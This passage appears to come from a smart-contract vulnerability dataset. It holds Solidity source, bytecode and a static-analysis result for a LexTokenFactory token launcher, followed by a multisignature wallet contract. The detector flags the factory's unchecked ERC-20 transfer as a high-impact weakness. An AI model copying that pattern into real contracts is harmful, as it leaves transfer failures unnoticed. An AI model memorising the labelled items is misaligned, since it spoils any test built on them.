0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } } contract LexTokenFactory is CloneFactory { address payable public lexDAO; address public lexDAOtoken; address payable immutable public template; uint256 public userReward; string public details; mapping(address => address[]) public lextoken; event LaunchLexToken(address indexed lexToken, address indexed manager, uint256 saleRate, bool forSale); event UpdateGovernance(address indexed lexDAO, address indexed lexDAOtoken, uint256 userReward, string details); constructor(address payable _lexDAO, address _lexDAOtoken, address payable _template, uint256 _userReward, string memory _details) { lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; template = _template; userReward = _userReward; details = _details; } function launchLexToken( address payable _manager, uint8 _decimals, uint256 _managerSupply, uint256 _saleRate, uint256 _saleSupply, uint256 _totalSupplyCap, string memory _details, string memory _name, string memory _symbol, bool _forSale, bool _transferable ) external payable returns (address) { LexToken lex = LexToken(createClone(template)); lex.init( _manager, _decimals, _managerSupply, _saleRate, _saleSupply, _totalSupplyCap, _details, _name, _symbol, _forSale, _transferable); lextoken[_manager].push(address(lex)); if (msg.value > 0) {(bool success, ) = lexDAO.call{value: msg.value}(""); require(success, "!ethCall");} if (userReward > 0) {IERC20(lexDAOtoken).transfer(msg.sender, userReward);} emit LaunchLexToken(address(lex), _manager, _saleRate, _forSale); return(address(lex)); } function getLexTokenCountPerAccount(address account) external view returns (uint256) { return lextoken[account].length; } function getLexTokenPerAccount(address account) external view returns (address[] memory) { return lextoken[account]; } function updateGovernance(address payable _lexDAO, address _lexDAOtoken, uint256 _userReward, string calldata _details) external { require(msg.sender == lexDAO, "!lexDAO"); lexDAO = _lexDAO; lexDAOtoken = _lexDAOtoken; userReward = _userReward; details = _details; emit UpdateGovernance(_lexDAO, _lexDAOtoken, _userReward, _details); } }
0x6080604052600436106100915760003560e01c8063858d6aa411610059578063858d6aa4146103875780638976263d1461040a578063a6d57526146104a7578063a994ee2d146104ec578063e5a6c28f1461050157610091565b80634f411f7b14610096578063565974d3146100c75780635d22b72c146101515780635f14f772146103395780636f2ddd9314610372575b600080fd5b3480156100a257600080fd5b506100ab610516565b604080516001600160a01b039092168252519081900360200190f35b3480156100d357600080fd5b506100dc610525565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6100ab600480360361016081101561016857600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b8111156101b257600080fd5b8201836020820111156101c457600080fd5b803590602001918460018302840111600160201b831117156101e557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561023757600080fd5b82018360208201111561024957600080fd5b803590602001918460018302840111600160201b8311171561026a57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156102bc57600080fd5b8201836020820111156102ce57600080fd5b803590602001918460018302840111600160201b831117156102ef57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156105b3565b34801561034557600080fd5b506100ab6004803603604081101561035c57600080fd5b506001600160a01b038135169060200135610989565b34801561037e57600080fd5b506100ab6109c1565b34801561039357600080fd5b506103ba600480360360208110156103aa57600080fd5b50356001600160a01b03166109e5565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103f65781810151838201526020016103de565b505050509050019250505060405180910390f35b34801561041657600080fd5b506104a56004803603608081101561042d57600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561046757600080fd5b82018360208201111561047957600080fd5b803590602001918460018302840111600160201b8311171561049a57600080fd5b509092509050610a5b565b005b3480156104b357600080fd5b506104da600480360360208110156104ca57600080fd5b50356001600160a01b0316610b69565b60408051918252519081900360200190f35b3480156104f857600080fd5b506100ab610b84565b34801561050d57600080fd5b506104da610b93565b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105ab5780601f10610580576101008083540402835291602001916105ab565b820191906000526020600020905b81548152906001019060200180831161058e57829003601f168201915b505050505081565b6000806105df7f0000000000000000000000007a86615be1b2692fd85100ee0c5e99bf49b7aa96610b99565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561068f578181015183820152602001610677565b50505050905090810190601f1680156106bc5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156106ef5781810151838201526020016106d7565b50505050905090810190601f16801561071c5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561074f578181015183820152602001610737565b50505050905090810190601f16801561077c5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b1580156107a757600080fd5b505af11580156107bb573d6000803e3d6000fd5b505050506001600160a01b038d811660009081526004602090815260408220805460018101825590835291200180546001600160a01b031916918316919091179055341561089857600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610850576040519150601f19603f3d011682016040523d82523d6000602084013e610855565b606091505b5050905080610896576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b60025415610924576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156108f757600080fd5b505af115801561090b573d6000803e3d6000fd5b505050506040513d602081101561092157600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b600460205281600052604060002081815481106109a557600080fd5b6000918252602090912001546001600160a01b03169150829050565b7f0000000000000000000000007a86615be1b2692fd85100ee0c5e99bf49b7aa9681565b6001600160a01b038116600090815260046020908152604091829020805483518184028101840190945280845260609392830182828015610a4f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610a31575b50505050509050919050565b6000546001600160a01b03163314610aa4576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b03199283161790925560018054928716929091169190911790556002839055610ae560038383610beb565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001600160a01b031660009081526004602052604090205490565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610c215760008555610c67565b82601f10610c3a5782800160ff19823516178555610c67565b82800160010185558215610c67579182015b82811115610c67578235825591602001919060010190610c4c565b50610c73929150610c77565b5090565b5b80821115610c735760008155600101610c7856fea2646970667358221220bfef47b1795f113b0df9c6fcbe21e91337bbb31efbb393d43c32a77cb5063f8a64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
5,649
0x0cf75f808479c9e7d61c78f65e997b605160b0aa
/** *Submitted for verification at Etherscan.io on 2021-11-23 */ pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cae565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cce565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfd565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d91565b005b341561036957600080fd5b61037f6004808035906020019091905050610f99565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611081565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611150565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e16111ac565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611241565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f260048080359060200190919050506113a2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115d3565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115d9565b005b34156106a157600080fd5b6106b76004808035906020019091905050611696565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611877565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b610765611897565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e61189c565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118a2565b005b341561080757600080fd5b61081d6004808035906020019091905050611bc0565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611fe8565b506003805490506004541115610ab757610ab66003805490506115d9565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610bf657600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8957838015610d3c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6f5750828015610d6e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d7b576001820191505b5b8080600101915050610d05565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dcb57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610e2557600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610e4c57600080fd5b60016003805490500160045460328211158015610e695750818111155b8015610e76575060008114155b8015610e83575060008214155b1515610e8e57600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610efa9190612014565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561107957600160008581526020019081526020016000206000600383815481101515610fd757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611058576001820191505b60045482141561106b576001925061107a565b5b8080600101915050610fa6565b5b5050919050565b600080600090505b600380549050811015611149576001600084815260200190815260200160002060006003838154811015156110ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561113b576001820191505b5b8080600101915050611089565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111b4612040565b600380548060200260200160405190810160405280929190818152602001828054801561123657602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111ec575b505050505090505b90565b611249612054565b611251612054565b6000806005546040518059106112645750595b908082528060200260200182016040525b50925060009150600090505b600554811015611322578580156112b8575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112eb57508480156112ea575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611314578083838151811015156112ff57fe5b90602001906020020181815250506001820191505b5b8080600101915050611281565b8787036040518059106113325750595b908082528060200260200182016040525b5093508790505b8681101561139657828181518110151561136057fe5b906020019060200201518489830381518110151561137a57fe5b90602001906020020181815250505b808060010191505061134a565b5b505050949350505050565b6113aa612040565b6113b2612040565b6000806003805490506040518059106113c85750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561152b5760016000868152602001908152602001600020600060038381548110151561141657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561151d5760038181548110151561149f57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114da57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e5565b816040518059106115395750595b908082528060200260200182016040525b509350600090505b818110156115ca57828181518110151561156857fe5b90602001906020020151848281518110151561158057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611552565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600380549050816032821115801561162b5750818111155b8015611638575060008114155b8015611645575060008214155b151561165057600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116ef57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561174b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117b757600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361186c85611bc0565b5b5b50505b505b5050565b6000611884848484611e6c565b905061188f81611696565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118de57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561193757600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561199157600080fd5b600092505b600380549050831015611a7f578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a715783600384815481101515611a2257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7f565b5b8280600101935050611996565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c1b57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c8657600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611cb657600080fd5b611cbf86610f99565b15611e6057600080878152602001908152602001600020945060018560030160006101000a81548160ff021916908315150217905550611ddd8560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866001015487600201805460018160011615610100020316600290049050886002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611dd35780601f10611da857610100808354040283529160200191611dd3565b820191906000526020600020905b815481529060010190602001808311611db657829003601f168201915b5050505050611fc0565b15611e1457857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e5f565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611e9557600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f54929190612068565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b6000806040516020840160008287838a8c6187965a03f1925050508091505b50949350505050565b81548183558181151161200f5781836000526020600020918201910161200e91906120e8565b5b505050565b81548183558181151161203b5781836000526020600020918201910161203a91906120e8565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106120a957805160ff19168380011785556120d7565b828001600101855582156120d7579182015b828111156120d65782518255916020019190600101906120bb565b5b5090506120e491906120e8565b5090565b61210a91905b808211156121065760008160009055506001016120ee565b5090565b905600a165627a7a723058200d5889832377a0f70dcbf8e3cd20d3569607eeea9389b91991bd6dc152a2613f002